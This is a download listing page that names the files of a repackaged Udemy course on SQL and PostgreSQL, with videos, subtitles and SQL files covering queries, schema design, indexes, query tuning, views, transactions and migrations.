[GigaCourse.Com] Udemy - SQL and PostgreSQL The Complete Developers Guide

mp4   Hot：64   Size：8.06 GB   Created：2023-05-13 13:19:00   Update：2024-10-23 20:30:44  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • 0. Websites you may like/[CourseClub.Me].url 122 B
    0. Websites you may like/[GigaCourse.Com].url 49 B
    1 - Simple But Powerful SQL Statements/1 - Join Our Community.html 318 B
    1 - Simple But Powerful SQL Statements/10 - Calculating Phone Revenue English.srt 1.57 KB
    1 - Simple But Powerful SQL Statements/10 - Calculating Phone Revenue.mp4 37.26 MB
    1 - Simple But Powerful SQL Statements/11 - Exercise Solution English.srt 1.62 KB
    1 - Simple But Powerful SQL Statements/11 - Exercise Solution.mp4 27.92 MB
    1 - Simple But Powerful SQL Statements/12 - 012-sql.sql 404 B
    1 - Simple But Powerful SQL Statements/12 - String Operators and Functions English.srt 9.9 KB
    1 - Simple But Powerful SQL Statements/12 - String Operators and Functions.mp4 65.1 MB
    1 - Simple But Powerful SQL Statements/2 - Course Resources.html 1.25 KB
    1 - Simple But Powerful SQL Statements/2 - diagrams.zip 7.72 MB
    1 - Simple But Powerful SQL Statements/3 - What is PostgreSQL All About English.srt 7.45 KB
    1 - Simple But Powerful SQL Statements/3 - What is PostgreSQL All About.mp4 21.75 MB
    1 - Simple But Powerful SQL Statements/4 - Database Design English.srt 8.2 KB
    1 - Simple But Powerful SQL Statements/4 - Database Design.mp4 35.37 MB
    1 - Simple But Powerful SQL Statements/5 - 003-sql.sql 104 B
    1 - Simple But Powerful SQL Statements/5 - Creating Tables English.srt 7.71 KB
    1 - Simple But Powerful SQL Statements/5 - Creating Tables.mp4 18.61 MB
    1 - Simple But Powerful SQL Statements/6 - Analyzing CREATE TABLE English.srt 5.51 KB
    1 - Simple But Powerful SQL Statements/6 - Analyzing CREATE TABLE.mp4 17.67 MB
    1 - Simple But Powerful SQL Statements/7 - 005-sql-cumulative.sql 384 B
    1 - Simple But Powerful SQL Statements/7 - 005-sql.sql 278 B
    1 - Simple But Powerful SQL Statements/7 - Inserting Data Into a Table English.srt 7.59 KB
    1 - Simple But Powerful SQL Statements/7 - Inserting Data Into a Table.mp4 18.07 MB
    1 - Simple But Powerful SQL Statements/8 - Retrieving Data with Select English.srt 3.3 KB
    1 - Simple But Powerful SQL Statements/8 - Retrieving Data with Select.mp4 6.02 MB
    1 - Simple But Powerful SQL Statements/9 - Calculated Columns English.srt 7.35 KB
    1 - Simple But Powerful SQL Statements/9 - Calculated Columns.mp4 15.22 MB
    10 - Selecting Distinct Records/118 - Selecting Distinct Values English.srt 6.51 KB
    10 - Selecting Distinct Records/118 - Selecting Distinct Values.mp4 12.46 MB
    10 - Selecting Distinct Records/119 - Exercise Overview English.srt 906 B
    10 - Selecting Distinct Records/119 - Exercise Overview.mp4 1.3 MB
    10 - Selecting Distinct Records/120 - A Distinct Solution English.srt 964 B
    10 - Selecting Distinct Records/120 - A Distinct Solution.mp4 1.9 MB
    11 - Utility Operators Keywords and Functions/121 - The Greatest Value in a List English.srt 5.07 KB
    11 - Utility Operators Keywords and Functions/121 - The Greatest Value in a List.mp4 11.77 MB
    11 - Utility Operators Keywords and Functions/122 - And the Least Value in a List English.srt 3.04 KB
    11 - Utility Operators Keywords and Functions/122 - And the Least Value in a List.mp4 5.55 MB
    11 - Utility Operators Keywords and Functions/123 - The Case Keyword English.srt 6.72 KB
    11 - Utility Operators Keywords and Functions/123 - The Case Keyword.mp4 19.04 MB
    12 - Local PostgreSQL Installation/124 - PostgreSQL Installation on macOS English.srt 9.97 KB
    12 - Local PostgreSQL Installation/124 - PostgreSQL Installation on macOS.mp4 21.13 MB
    12 - Local PostgreSQL Installation/125 - PGAdmin Setup on macOS English.srt 7.76 KB
    12 - Local PostgreSQL Installation/125 - PGAdmin Setup on macOS.mp4 36.92 MB
    12 - Local PostgreSQL Installation/126 - Postgres installation on Windows English.srt 6.61 KB
    12 - Local PostgreSQL Installation/126 - Postgres installation on Windows.mp4 23.31 MB
    13 - PostgreSQL Complex Datatypes/127 - Whatd We Just Do English.srt 6.54 KB
    13 - PostgreSQL Complex Datatypes/127 - Whatd We Just Do.mp4 19.32 MB
    13 - PostgreSQL Complex Datatypes/128 - Data Types English.srt 7.18 KB
    13 - PostgreSQL Complex Datatypes/128 - Data Types.mp4 30.53 MB
    13 - PostgreSQL Complex Datatypes/129 - Fast Rules on Numeric Data Types English.srt 3.6 KB
    13 - PostgreSQL Complex Datatypes/129 - Fast Rules on Numeric Data Types.mp4 18.9 MB
    13 - PostgreSQL Complex Datatypes/130 - More on Number Data Types English.srt 14.78 KB
    13 - PostgreSQL Complex Datatypes/130 - More on Number Data Types.mp4 48.14 MB
    13 - PostgreSQL Complex Datatypes/131 - Reminder on Character Types English.srt 7.54 KB
    13 - PostgreSQL Complex Datatypes/131 - Reminder on Character Types.mp4 29.9 MB
    13 - PostgreSQL Complex Datatypes/132 - Boolean Data Types English.srt 3.89 KB
    13 - PostgreSQL Complex Datatypes/132 - Boolean Data Types.mp4 8.2 MB
    13 - PostgreSQL Complex Datatypes/133 - Times Dates and Timestamps English.srt 8.41 KB
    13 - PostgreSQL Complex Datatypes/133 - Times Dates and Timestamps.mp4 21.27 MB
    13 - PostgreSQL Complex Datatypes/134 - Really Awesome Intervals English.srt 9.08 KB
    13 - PostgreSQL Complex Datatypes/134 - Really Awesome Intervals.mp4 19.5 MB
    14 - DatabaseSide Validation and Constraints/135 - Thinking About Validation English.srt 6.86 KB
    14 - DatabaseSide Validation and Constraints/135 - Thinking About Validation.mp4 34.64 MB
    14 - DatabaseSide Validation and Constraints/136 - Creating and Viewing Tables in PGAdmin English.srt 11.56 KB
    14 - DatabaseSide Validation and Constraints/136 - Creating and Viewing Tables in PGAdmin.mp4 28.09 MB
    14 - DatabaseSide Validation and Constraints/137 - Applying a Null Constraint English.srt 10.26 KB
    14 - DatabaseSide Validation and Constraints/137 - Applying a Null Constraint.mp4 21.08 MB
    14 - DatabaseSide Validation and Constraints/138 - Solving a Gotcha with Null Constraints English.srt 6.48 KB
    14 - DatabaseSide Validation and Constraints/138 - Solving a Gotcha with Null Constraints.mp4 13.72 MB
    14 - DatabaseSide Validation and Constraints/139 - Default Column Values English.srt 5.33 KB
    14 - DatabaseSide Validation and Constraints/139 - Default Column Values.mp4 22.47 MB
    14 - DatabaseSide Validation and Constraints/140 - Applying a Unique Constraint to One column English.srt 8.88 KB
    14 - DatabaseSide Validation and Constraints/140 - Applying a Unique Constraint to One column.mp4 43.13 MB
    14 - DatabaseSide Validation and Constraints/141 - MultiColumn Uniqueness English.srt 5.23 KB
    14 - DatabaseSide Validation and Constraints/141 - MultiColumn Uniqueness.mp4 30.06 MB
    14 - DatabaseSide Validation and Constraints/142 - Adding a Validation Check English.srt 6.14 KB
    14 - DatabaseSide Validation and Constraints/142 - Adding a Validation Check.mp4 18.21 MB
    14 - DatabaseSide Validation and Constraints/143 - Checks Over Multiple Columns English.srt 7.65 KB
    14 - DatabaseSide Validation and Constraints/143 - Checks Over Multiple Columns.mp4 17.21 MB
    14 - DatabaseSide Validation and Constraints/144 - So Where Are We Applying Validation English.srt 9.9 KB
    14 - DatabaseSide Validation and Constraints/144 - So Where Are We Applying Validation.mp4 22.04 MB
    15 - Database Structure Design Patterns/145 - Approaching More Complicated Designs English.srt 5.5 KB
    15 - Database Structure Design Patterns/145 - Approaching More Complicated Designs.mp4 11.21 MB
    15 - Database Structure Design Patterns/146 - Using a SQL Design Tool English.srt 9.94 KB
    15 - Database Structure Design Patterns/146 - Using a SQL Design Tool.mp4 47.29 MB
    15 - Database Structure Design Patterns/147 - A Configbased Schema Designer English.srt 11.84 KB
    15 - Database Structure Design Patterns/147 - A Configbased Schema Designer.mp4 28.69 MB
    15 - Database Structure Design Patterns/148 - Heres the Plan English.srt 4.27 KB
    15 - Database Structure Design Patterns/148 - Heres the Plan.mp4 9.63 MB
    15 - Database Structure Design Patterns/149 - 005-design.dbml 455 B
    15 - Database Structure Design Patterns/149 - Rebuilding Some Schema English.srt 10.63 KB
    15 - Database Structure Design Patterns/149 - Rebuilding Some Schema.mp4 20.94 MB
    16 - How to Build a Like System/150 - Requirements of a Like System English.srt 7.74 KB
    16 - How to Build a Like System/150 - Requirements of a Like System.mp4 26.11 MB
    16 - How to Build a Like System/151 - How Not to Design a Like System English.srt 4.85 KB
    16 - How to Build a Like System/151 - How Not to Design a Like System.mp4 16.22 MB
    16 - How to Build a Like System/152 - Designing a Like System English.srt 8.29 KB
    16 - How to Build a Like System/152 - Designing a Like System.mp4 26.14 MB
    16 - How to Build a Like System/153 - Making a Reaction System Instead English.srt 2.54 KB
    16 - How to Build a Like System/153 - Making a Reaction System Instead.mp4 6.39 MB
    16 - How to Build a Like System/154 - Polymorphic Associations English.srt 9.66 KB
    16 - How to Build a Like System/154 - Polymorphic Associations.mp4 52.6 MB
    16 - How to Build a Like System/155 - Polymorphic Association Alternative Implementation English.srt 10.93 KB
    16 - How to Build a Like System/155 - Polymorphic Association Alternative Implementation.mp4 63.84 MB
    16 - How to Build a Like System/156 - The Simplest Alternative English.srt 6.13 KB
    16 - How to Build a Like System/156 - The Simplest Alternative.mp4 26.94 MB
    16 - How to Build a Like System/157 - So Which Approach English.srt 7.04 KB
    16 - How to Build a Like System/157 - So Which Approach.mp4 16.02 MB
    17 - How to Build a Mention System/158 - Additional Features Around Posts English.srt 10.05 KB
    17 - How to Build a Mention System/158 - Additional Features Around Posts.mp4 95.79 MB
    17 - How to Build a Mention System/159 - Adding Captions and Locations English.srt 2.63 KB
    17 - How to Build a Mention System/159 - Adding Captions and Locations.mp4 8.53 MB
    17 - How to Build a Mention System/160 - Photo Mentions vs Caption Mentions English.srt 12.68 KB
    17 - How to Build a Mention System/160 - Photo Mentions vs Caption Mentions.mp4 73.41 MB
    17 - How to Build a Mention System/161 - Considerations on Photo Tags vs Caption Tags English.srt 11.65 KB
    17 - How to Build a Mention System/161 - Considerations on Photo Tags vs Caption Tags.mp4 67.08 MB
    17 - How to Build a Mention System/162 - Update For Tags English.srt 7.41 KB
    17 - How to Build a Mention System/162 - Update For Tags.mp4 23.42 MB
    17 - How to Build a Mention System/[CourseClub.Me].url 122 B
    17 - How to Build a Mention System/[GigaCourse.Com].url 49 B
    18 - How to Build a Hashtag System/163 - Designing a Hashtag System English.srt 11.96 KB
    18 - How to Build a Hashtag System/163 - Designing a Hashtag System.mp4 98.12 MB
    18 - How to Build a Hashtag System/164 - Tables for Hashtags English.srt 5.81 KB
    18 - How to Build a Hashtag System/164 - Tables for Hashtags.mp4 14.45 MB
    18 - How to Build a Hashtag System/165 - Including the Hashtag Table English.srt 5.94 KB
    18 - How to Build a Hashtag System/165 - Including the Hashtag Table.mp4 18.04 MB
    18 - How to Build a Hashtag System/166 - A Few More User Columns English.srt 9.83 KB
    18 - How to Build a Hashtag System/166 - A Few More User Columns.mp4 27.66 MB
    18 - How to Build a Hashtag System/167 - Why No Number of Followers or Posts English.srt 6.07 KB
    18 - How to Build a Hashtag System/167 - Why No Number of Followers or Posts.mp4 17.1 MB
    19 - How to Design a Follower System/168 - Designing a Follower System English.srt 9.23 KB
    19 - How to Design a Follower System/168 - Designing a Follower System.mp4 26.49 MB
    2 - Filtering Records/13 - 013-sql.sql 48 B
    2 - Filtering Records/13 - Filtering Rows with Where English.srt 5.78 KB
    2 - Filtering Records/13 - Filtering Rows with Where.mp4 12.26 MB
    2 - Filtering Records/14 - More on the Where Keyword English.srt 3.86 KB
    2 - Filtering Records/14 - More on the Where Keyword.mp4 9.45 MB
    2 - Filtering Records/15 - Compound Where Clauses English.srt 7.62 KB
    2 - Filtering Records/15 - Compound Where Clauses.mp4 18.98 MB
    2 - Filtering Records/16 - A Where Exercise Overview English.srt 992 B
    2 - Filtering Records/16 - A Where Exercise Overview.mp4 1.72 MB
    2 - Filtering Records/17 - A Where Solution English.srt 1.36 KB
    2 - Filtering Records/17 - A Where Solution.mp4 2.54 MB
    2 - Filtering Records/18 - Where With Lists English.srt 1.06 KB
    2 - Filtering Records/18 - Where With Lists.mp4 46.05 MB
    2 - Filtering Records/19 - A Where With Lists Solution English.srt 2.37 KB
    2 - Filtering Records/19 - A Where With Lists Solution.mp4 4.96 MB
    2 - Filtering Records/20 - Calculations in Where Clauses English.srt 3.09 KB
    2 - Filtering Records/20 - Calculations in Where Clauses.mp4 4.68 MB
    2 - Filtering Records/21 - Solving Calculations English.srt 3.05 KB
    2 - Filtering Records/21 - Solving Calculations.mp4 5.91 MB
    2 - Filtering Records/22 - Updating Rows English.srt 6.47 KB
    2 - Filtering Records/22 - Updating Rows.mp4 32.97 MB
    2 - Filtering Records/23 - Deleting Rows English.srt 5.03 KB
    2 - Filtering Records/23 - Deleting Rows.mp4 11.18 MB
    2 - Filtering Records/24 - A Solution for Updating Rows English.srt 2.2 KB
    2 - Filtering Records/24 - A Solution for Updating Rows.mp4 4.94 MB
    2 - Filtering Records/25 - Solution for Deleting Rows English.srt 2.02 KB
    2 - Filtering Records/25 - Solution for Deleting Rows.mp4 4 MB
    20 - Implementing Database Design Patterns/169 - Back to Postgres English.srt 3.29 KB
    20 - Implementing Database Design Patterns/169 - Back to Postgres.mp4 6.84 MB
    20 - Implementing Database Design Patterns/170 - 002-db.sql 375 B
    20 - Implementing Database Design Patterns/170 - Creating Tables with Checks English.srt 21.02 KB
    20 - Implementing Database Design Patterns/170 - Creating Tables with Checks.mp4 60.56 MB
    20 - Implementing Database Design Patterns/171 - 003-db.sql 791 B
    20 - Implementing Database Design Patterns/171 - Posts Creation English.srt 12.77 KB
    20 - Implementing Database Design Patterns/171 - Posts Creation.mp4 36.16 MB
    20 - Implementing Database Design Patterns/172 - 004-db.sql 1.11 KB
    20 - Implementing Database Design Patterns/172 - Comments Creation English.srt 3.48 KB
    20 - Implementing Database Design Patterns/172 - Comments Creation.mp4 7.17 MB
    20 - Implementing Database Design Patterns/173 - 005-db.sql 1.55 KB
    20 - Implementing Database Design Patterns/173 - Likes Creation English.srt 10.02 KB
    20 - Implementing Database Design Patterns/173 - Likes Creation.mp4 23.87 MB
    20 - Implementing Database Design Patterns/174 - 006-db.sql 2.19 KB
    20 - Implementing Database Design Patterns/174 - Photo Tags and Caption Tags English.srt 8.29 KB
    20 - Implementing Database Design Patterns/174 - Photo Tags and Caption Tags.mp4 41.35 MB
    20 - Implementing Database Design Patterns/175 - 007-db.sql 2.84 KB
    20 - Implementing Database Design Patterns/175 - Creating Hashtags Hashtag Posts and Followers English.srt 9.09 KB
    20 - Implementing Database Design Patterns/175 - Creating Hashtags Hashtag Posts and Followers.mp4 19.85 MB
    21 - Approaching and Writing Complex Queries/176 - Quick Note About Adding Some Data.html 251 B
    21 - Approaching and Writing Complex Queries/176 - ig.sql 23.51 MB
    21 - Approaching and Writing Complex Queries/177 - Adding Some Data English.srt 6.64 KB
    21 - Approaching and Writing Complex Queries/177 - Adding Some Data.mp4 16.95 MB
    21 - Approaching and Writing Complex Queries/178 - Restoring from Scratch English.srt 7.01 KB
    21 - Approaching and Writing Complex Queries/178 - Restoring from Scratch.mp4 21.23 MB
    21 - Approaching and Writing Complex Queries/179 - Highest User IDs Exercise English.srt 3.11 KB
    21 - Approaching and Writing Complex Queries/179 - Highest User IDs Exercise.mp4 7.14 MB
    21 - Approaching and Writing Complex Queries/180 - Solution for User IDs English.srt 1.84 KB
    21 - Approaching and Writing Complex Queries/180 - Solution for User IDs.mp4 4.64 MB
    21 - Approaching and Writing Complex Queries/181 - Posts by a Particular User English.srt 1.77 KB
    21 - Approaching and Writing Complex Queries/181 - Posts by a Particular User.mp4 4.81 MB
    21 - Approaching and Writing Complex Queries/182 - Solving for Posts by User English.srt 2.83 KB
    21 - Approaching and Writing Complex Queries/182 - Solving for Posts by User.mp4 9.39 MB
    21 - Approaching and Writing Complex Queries/183 - Likes Per User English.srt 1.34 KB
    21 - Approaching and Writing Complex Queries/183 - Likes Per User.mp4 3.59 MB
    21 - Approaching and Writing Complex Queries/184 - Solution for Likes Per User English.srt 2.49 KB
    21 - Approaching and Writing Complex Queries/184 - Solution for Likes Per User.mp4 6.6 MB
    22 - Understanding the Internals of PostgreSQL/185 - Thinking About Performance English.srt 3.68 KB
    22 - Understanding the Internals of PostgreSQL/185 - Thinking About Performance.mp4 9.24 MB
    22 - Understanding the Internals of PostgreSQL/186 - Where Does Postgres Store Data English.srt 8.88 KB
    22 - Understanding the Internals of PostgreSQL/186 - Where Does Postgres Store Data.mp4 37.02 MB
    22 - Understanding the Internals of PostgreSQL/187 - Heaps Blocks and Tuples English.srt 5.78 KB
    22 - Understanding the Internals of PostgreSQL/187 - Heaps Blocks and Tuples.mp4 22.73 MB
    22 - Understanding the Internals of PostgreSQL/188 - Block Data Layout English.srt 6.93 KB
    22 - Understanding the Internals of PostgreSQL/188 - Block Data Layout.mp4 17.24 MB
    22 - Understanding the Internals of PostgreSQL/189 - Heap File Layout English.srt 49.73 KB
    22 - Understanding the Internals of PostgreSQL/189 - Heap File Layout.mp4 597.17 MB
    23 - A Look at Indexes for Performance/190 - Full Table Scans English.srt 6.52 KB
    23 - A Look at Indexes for Performance/190 - Full Table Scans.mp4 37.18 MB
    23 - A Look at Indexes for Performance/191 - Whats an Index English.srt 4.01 KB
    23 - A Look at Indexes for Performance/191 - Whats an Index.mp4 10.1 MB
    23 - A Look at Indexes for Performance/192 - How an Index Works English.srt 12.34 KB
    23 - A Look at Indexes for Performance/192 - How an Index Works.mp4 69.31 MB
    23 - A Look at Indexes for Performance/193 - Creating an Index English.srt 6.26 KB
    23 - A Look at Indexes for Performance/193 - Creating an Index.mp4 13.11 MB
    23 - A Look at Indexes for Performance/194 - Benchmarking Queries English.srt 8.53 KB
    23 - A Look at Indexes for Performance/194 - Benchmarking Queries.mp4 22.58 MB
    23 - A Look at Indexes for Performance/195 - Downsides of Indexes English.srt 8.25 KB
    23 - A Look at Indexes for Performance/195 - Downsides of Indexes.mp4 31.82 MB
    23 - A Look at Indexes for Performance/196 - Index Types English.srt 2.58 KB
    23 - A Look at Indexes for Performance/196 - Index Types.mp4 6.46 MB
    23 - A Look at Indexes for Performance/197 - Automatically Generated Indexes English.srt 5.75 KB
    23 - A Look at Indexes for Performance/197 - Automatically Generated Indexes.mp4 19.74 MB
    23 - A Look at Indexes for Performance/198 - Behind the Scenes of Indexes English.srt 48.94 KB
    23 - A Look at Indexes for Performance/198 - Behind the Scenes of Indexes.mp4 398.75 MB
    24 - Basic Query Tuning/199 - The Query Processing Pipeline English.srt 8.17 KB
    24 - Basic Query Tuning/199 - The Query Processing Pipeline.mp4 25.73 MB
    24 - Basic Query Tuning/200 - Explain and Explain Analyze English.srt 8.35 KB
    24 - Basic Query Tuning/200 - Explain and Explain Analyze.mp4 42.83 MB
    24 - Basic Query Tuning/201 - Solving an Explain Mystery English.srt 14.03 KB
    24 - Basic Query Tuning/201 - Solving an Explain Mystery.mp4 79.79 MB
    25 - Advanced Query Tuning/202 - Developing an Intuitive Understanding of Cost English.srt 20.44 KB
    25 - Advanced Query Tuning/202 - Developing an Intuitive Understanding of Cost.mp4 102.89 MB
    25 - Advanced Query Tuning/203 - Calculating Cost by Hand English.srt 10.11 KB
    25 - Advanced Query Tuning/203 - Calculating Cost by Hand.mp4 51.25 MB
    25 - Advanced Query Tuning/204 - A Touch More on Costs English.srt 11.49 KB
    25 - Advanced Query Tuning/204 - A Touch More on Costs.mp4 95.4 MB
    25 - Advanced Query Tuning/205 - Startup vs Total Costs English.srt 9.12 KB
    25 - Advanced Query Tuning/205 - Startup vs Total Costs.mp4 44.7 MB
    25 - Advanced Query Tuning/206 - Costs Flow Up English.srt 3.12 KB
    25 - Advanced Query Tuning/206 - Costs Flow Up.mp4 10.1 MB
    25 - Advanced Query Tuning/207 - Use My Index English.srt 12.79 KB
    25 - Advanced Query Tuning/207 - Use My Index.mp4 39.4 MB
    26 - Simple Common Table Expressions/208 - Common Table Expressions English.srt 2.97 KB
    26 - Simple Common Table Expressions/208 - Common Table Expressions.mp4 11.19 MB
    26 - Simple Common Table Expressions/209 - A Quick Solution English.srt 5.65 KB
    26 - Simple Common Table Expressions/209 - A Quick Solution.mp4 13.16 MB
    26 - Simple Common Table Expressions/210 - So Whats a CTE English.srt 5.79 KB
    26 - Simple Common Table Expressions/210 - So Whats a CTE.mp4 33.5 MB
    27 - Recursive Common Table Expressions/211 - Recursive CTEs English.srt 5.06 KB
    27 - Recursive Common Table Expressions/211 - Recursive CTEs.mp4 11.9 MB
    27 - Recursive Common Table Expressions/212 - Recursive CTEs Step by Step English.srt 15.57 KB
    27 - Recursive Common Table Expressions/212 - Recursive CTEs Step by Step.mp4 62.89 MB
    27 - Recursive Common Table Expressions/213 - Why Use Recursive CTEs English.srt 7.81 KB
    27 - Recursive Common Table Expressions/213 - Why Use Recursive CTEs.mp4 43.14 MB
    27 - Recursive Common Table Expressions/214 - Writing the Query English.srt 11.92 KB
    27 - Recursive Common Table Expressions/214 - Writing the Query.mp4 36.56 MB
    27 - Recursive Common Table Expressions/215 - Walking Through Recursion English.srt 15.04 KB
    27 - Recursive Common Table Expressions/215 - Walking Through Recursion.mp4 109.41 MB
    28 - Simplifying Queries with Views/216 - Most Popular Users English.srt 9.86 KB
    28 - Simplifying Queries with Views/216 - Most Popular Users.mp4 24.81 MB
    28 - Simplifying Queries with Views/217 - A Possible Solution for Merging Tables English.srt 6.23 KB
    28 - Simplifying Queries with Views/217 - A Possible Solution for Merging Tables.mp4 35.67 MB
    28 - Simplifying Queries with Views/218 - Creating a View English.srt 8.51 KB
    28 - Simplifying Queries with Views/218 - Creating a View.mp4 33.33 MB
    28 - Simplifying Queries with Views/219 - When to Use a View English.srt 4.99 KB
    28 - Simplifying Queries with Views/219 - When to Use a View.mp4 21.21 MB
    28 - Simplifying Queries with Views/220 - Deleting and Changing Views English.srt 3.71 KB
    28 - Simplifying Queries with Views/220 - Deleting and Changing Views.mp4 12.51 MB
    29 - Optimizing Queries with Materialized Views/221 - Materialized Views English.srt 3.87 KB
    29 - Optimizing Queries with Materialized Views/221 - Materialized Views.mp4 8.38 MB
    29 - Optimizing Queries with Materialized Views/222 - Grouping by Week English.srt 6.39 KB
    29 - Optimizing Queries with Materialized Views/222 - Grouping by Week.mp4 34.4 MB
    29 - Optimizing Queries with Materialized Views/223 - Reminder on Left Joins English.srt 6.91 KB
    29 - Optimizing Queries with Materialized Views/223 - Reminder on Left Joins.mp4 15.51 MB
    29 - Optimizing Queries with Materialized Views/224 - Writing a Slow Query English.srt 14 KB
    29 - Optimizing Queries with Materialized Views/224 - Writing a Slow Query.mp4 55.08 MB
    29 - Optimizing Queries with Materialized Views/225 - Creating and Refreshing Materialized Views English.srt 10.02 KB
    29 - Optimizing Queries with Materialized Views/225 - Creating and Refreshing Materialized Views.mp4 36.1 MB
    29 - Optimizing Queries with Materialized Views/[CourseClub.Me].url 122 B
    29 - Optimizing Queries with Materialized Views/[GigaCourse.Com].url 49 B
    3 - Working with Tables/26 - The Plan Moving Forward English.srt 2.79 KB
    3 - Working with Tables/26 - The Plan Moving Forward.mp4 10.75 MB
    3 - Working with Tables/27 - Approaching Database Design English.srt 12.07 KB
    3 - Working with Tables/27 - Approaching Database Design.mp4 81.98 MB
    3 - Working with Tables/28 - OnetoMany and ManytoOne Relationships English.srt 10.06 KB
    3 - Working with Tables/28 - OnetoMany and ManytoOne Relationships.mp4 41.31 MB
    3 - Working with Tables/29 - OnetoOne and ManytoMany Relationships English.srt 8.75 KB
    3 - Working with Tables/29 - OnetoOne and ManytoMany Relationships.mp4 24.58 MB
    3 - Working with Tables/30 - Primary Keys and Foreign Keys English.srt 7.89 KB
    3 - Working with Tables/30 - Primary Keys and Foreign Keys.mp4 29.57 MB
    3 - Working with Tables/31 - Understanding Foreign Keys English.srt 12.96 KB
    3 - Working with Tables/31 - Understanding Foreign Keys.mp4 63.35 MB
    3 - Working with Tables/32 - 007-tables-cumulative.sql 172 B
    3 - Working with Tables/32 - 007-tables.sql 194 B
    3 - Working with Tables/32 - AutoGenerated IDs English.srt 8.95 KB
    3 - Working with Tables/32 - AutoGenerated IDs.mp4 22.97 MB
    3 - Working with Tables/33 - 008-tables-cumulative.sql 348 B
    3 - Working with Tables/33 - 008-tables.sql 197 B
    3 - Working with Tables/33 - Creating Foreign Key Columns English.srt 7.48 KB
    3 - Working with Tables/33 - Creating Foreign Key Columns.mp4 18.32 MB
    3 - Working with Tables/34 - 009-tables-cumulative.sql 536 B
    3 - Working with Tables/34 - 009-tables.sql 326 B
    3 - Working with Tables/34 - Running Queries on Associated Data English.srt 10.35 KB
    3 - Working with Tables/34 - Running Queries on Associated Data.mp4 38.22 MB
    3 - Working with Tables/35 - Exercise Overview English.srt 3.41 KB
    3 - Working with Tables/35 - Exercise Overview.mp4 8.25 MB
    3 - Working with Tables/36 - Foreign Key Creation Solution English.srt 3.04 KB
    3 - Working with Tables/36 - Foreign Key Creation Solution.mp4 8.35 MB
    3 - Working with Tables/37 - 012-tables-cumulative.sql 600 B
    3 - Working with Tables/37 - 012-tables.sql 199 B
    3 - Working with Tables/37 - Foreign Key Constraints Around Insertion English.srt 8.76 KB
    3 - Working with Tables/37 - Foreign Key Constraints Around Insertion.mp4 22.15 MB
    3 - Working with Tables/38 - Constraints Around Deletion English.srt 7.68 KB
    3 - Working with Tables/38 - Constraints Around Deletion.mp4 40.54 MB
    3 - Working with Tables/39 - Commands Youll Need for the Next Video.html 691 B
    3 - Working with Tables/40 - 014-tables-cumulative.sql 994 B
    3 - Working with Tables/40 - 014-tables.sql 469 B
    3 - Working with Tables/40 - Testing Deletion Constraints English.srt 6.76 KB
    3 - Working with Tables/40 - Testing Deletion Constraints.mp4 19.27 MB
    3 - Working with Tables/41 - 015-tables-cumulative.sql 1.28 KB
    3 - Working with Tables/41 - 015-tables.sql 340 B
    3 - Working with Tables/41 - Setting Foreign Keys to Null on Delete English.srt 4.42 KB
    3 - Working with Tables/41 - Setting Foreign Keys to Null on Delete.mp4 12.6 MB
    3 - Working with Tables/42 - Adding Some Complexity English.srt 4.79 KB
    3 - Working with Tables/42 - Adding Some Complexity.mp4 9.96 MB
    30 - Handling Concurrency and Reversibility with Transactions/226 - What are Transactions Used For English.srt 6.42 KB
    30 - Handling Concurrency and Reversibility with Transactions/226 - What are Transactions Used For.mp4 22.54 MB
    30 - Handling Concurrency and Reversibility with Transactions/227 - Some Sample Data English.srt 3.16 KB
    30 - Handling Concurrency and Reversibility with Transactions/227 - Some Sample Data.mp4 5.44 MB
    30 - Handling Concurrency and Reversibility with Transactions/228 - Opening and Closing Transactions English.srt 15.17 KB
    30 - Handling Concurrency and Reversibility with Transactions/228 - Opening and Closing Transactions.mp4 65.33 MB
    30 - Handling Concurrency and Reversibility with Transactions/229 - Transaction Cleanup on Crash English.srt 6.14 KB
    30 - Handling Concurrency and Reversibility with Transactions/229 - Transaction Cleanup on Crash.mp4 32.89 MB
    30 - Handling Concurrency and Reversibility with Transactions/230 - Closing Aborted Transactions English.srt 2.75 KB
    30 - Handling Concurrency and Reversibility with Transactions/230 - Closing Aborted Transactions.mp4 7.47 MB
    31 - Managing Database Design with Schema Migrations/231 - A Story on Migrations English.srt 27.93 KB
    31 - Managing Database Design with Schema Migrations/231 - A Story on Migrations.mp4 139.7 MB
    31 - Managing Database Design with Schema Migrations/232 - Migration Files English.srt 7.53 KB
    31 - Managing Database Design with Schema Migrations/232 - Migration Files.mp4 44.16 MB
    31 - Managing Database Design with Schema Migrations/233 - Issues Solved by Migrations English.srt 4.51 KB
    31 - Managing Database Design with Schema Migrations/233 - Issues Solved by Migrations.mp4 10 MB
    31 - Managing Database Design with Schema Migrations/234 - A Few Notes on Migrations Libraries English.srt 7.82 KB
    31 - Managing Database Design with Schema Migrations/234 - A Few Notes on Migrations Libraries.mp4 34.19 MB
    31 - Managing Database Design with Schema Migrations/235 - A Note About Node Installation.html 264 B
    31 - Managing Database Design with Schema Migrations/236 - Project Creation English.srt 4.52 KB
    31 - Managing Database Design with Schema Migrations/236 - Project Creation.mp4 9.91 MB
    31 - Managing Database Design with Schema Migrations/237 - Generating and Writing Migrations English.srt 10.5 KB
    31 - Managing Database Design with Schema Migrations/237 - Generating and Writing Migrations.mp4 45.64 MB
    31 - Managing Database Design with Schema Migrations/238 - Applying and Reverting Migrations English.srt 11.21 KB
    31 - Managing Database Design with Schema Migrations/238 - Applying and Reverting Migrations.mp4 68.14 MB
    31 - Managing Database Design with Schema Migrations/239 - Generating and Applying a Second Migration English.srt 5.19 KB
    31 - Managing Database Design with Schema Migrations/239 - Generating and Applying a Second Migration.mp4 16.63 MB
    32 - Schema vs Data Migrations/240 - Schema vs Data Migrations English.srt 6.42 KB
    32 - Schema vs Data Migrations/240 - Schema vs Data Migrations.mp4 20.28 MB
    32 - Schema vs Data Migrations/241 - Dangers Around Data Migrations English.srt 14.53 KB
    32 - Schema vs Data Migrations/241 - Dangers Around Data Migrations.mp4 70 MB
    32 - Schema vs Data Migrations/242 - Properly Running Data and Schema Migrations English.srt 8.88 KB
    32 - Schema vs Data Migrations/242 - Properly Running Data and Schema Migrations.mp4 19.73 MB
    32 - Schema vs Data Migrations/243 - Creating a Posts Table English.srt 6.87 KB
    32 - Schema vs Data Migrations/243 - Creating a Posts Table.mp4 21.59 MB
    32 - Schema vs Data Migrations/244 - 005-index.js 1.32 KB
    32 - Schema vs Data Migrations/244 - A Small Web Server English.srt 21 KB
    32 - Schema vs Data Migrations/244 - A Small Web Server.mp4 62.26 MB
    32 - Schema vs Data Migrations/245 - Web Server Setup Instructions.html 1.02 KB
